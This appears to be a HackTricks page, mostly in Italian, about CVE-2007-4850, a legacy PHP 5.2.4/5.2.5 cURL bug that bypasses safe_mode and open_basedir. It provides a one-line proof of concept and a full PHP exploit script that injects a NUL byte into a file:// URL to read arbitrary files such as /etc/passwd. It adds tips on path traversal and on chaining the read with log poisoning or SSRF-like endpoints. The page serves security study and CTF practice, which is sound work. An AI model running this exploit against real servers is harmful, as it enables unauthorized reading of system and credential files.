PHP 5.2.4 e 5.2.5 PHP cURL

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina documenta un trucco legacy, ancora utile in CTFs e in installazioni legacy locali, per bypassare i controlli PHP safe_mode/open_basedir usando l’estensione cURL su build specifiche di PHP 5.2.x.

  • Interessati: PHP 5.2.4 e 5.2.5 con ext/curl abilitato.
  • Impatto: Lettura di file locali arbitrari nonostante le restrizioni di safe_mode o open_basedir (nessuna esecuzione diretta di codice).
  • ID: CVE-2007-4850.

Da http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

PoC monoriga

Se safe_mode o open_basedir sono attivi e cURL è abilitato, quanto segue restituirà il contenuto dello script corrente:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

PoC più esplicito (lettura arbitraria di file)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Note:

  • Usa le virgolette doppie o chr(0) per iniettare un vero byte NUL. La percent-encoding (%00) non funzionerà in modo affidabile.
  • Questa è una file read primitive. Combina con altre primitives (log poisoning, session file inclusion, etc.) per ulteriori escalation quando possibile.

Why this works (short)

La vulnerabilità risiede in come PHP 5.2.4/5.2.5 eseguiva i controlli safe_mode/open_basedir per gli URL file:// in ext/curl. Il controllo analizzava l’URL e validava una componente di percorso, ma a causa della gestione del byte NUL validava una stringa diversa da quella effettivamente usata da libcurl. In pratica, il validatore poteva approvare il percorso dopo il NUL mentre libcurl usava la parte prima del NUL come contenitore dell’URL, permettendo un bypass che porta alla lettura del file posto dopo il byte NUL. Vedi l’analisi originale e la macro interessata in curl/interface.c per dettagli. [CVE-2007-4850].

Constraints and fixes

  • Corretto nelle versioni successive 5.2.x (es. distro builds patchate a 5.2.6) correggendo il parsing/la validazione in ext/curl.
  • Influisce solo su deployment PHP molto vecchi; safe_mode è stato rimosso in PHP 5.4 e le build moderne non manifestano questo comportamento.
  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed file:// access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues using file:// without canonicalization. Any check before the NUL byte or without realpath-style resolution is prone to the same truncation.

CTF tips

  • When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for cURL support => enabled in phpinfo() and the exact PHP Version), this trick usually works even if allow_url_fopen is disabled because ext/curl handles file:// itself.
  • If direct paths are blocked, try relative traversal after the NUL, e.g. file://x\x00../../../../etc/passwd. The traversal is resolved by libcurl, not by the open_basedir guard.
  • You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into curl_exec() (common in legacy SSRF-like endpoints).

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks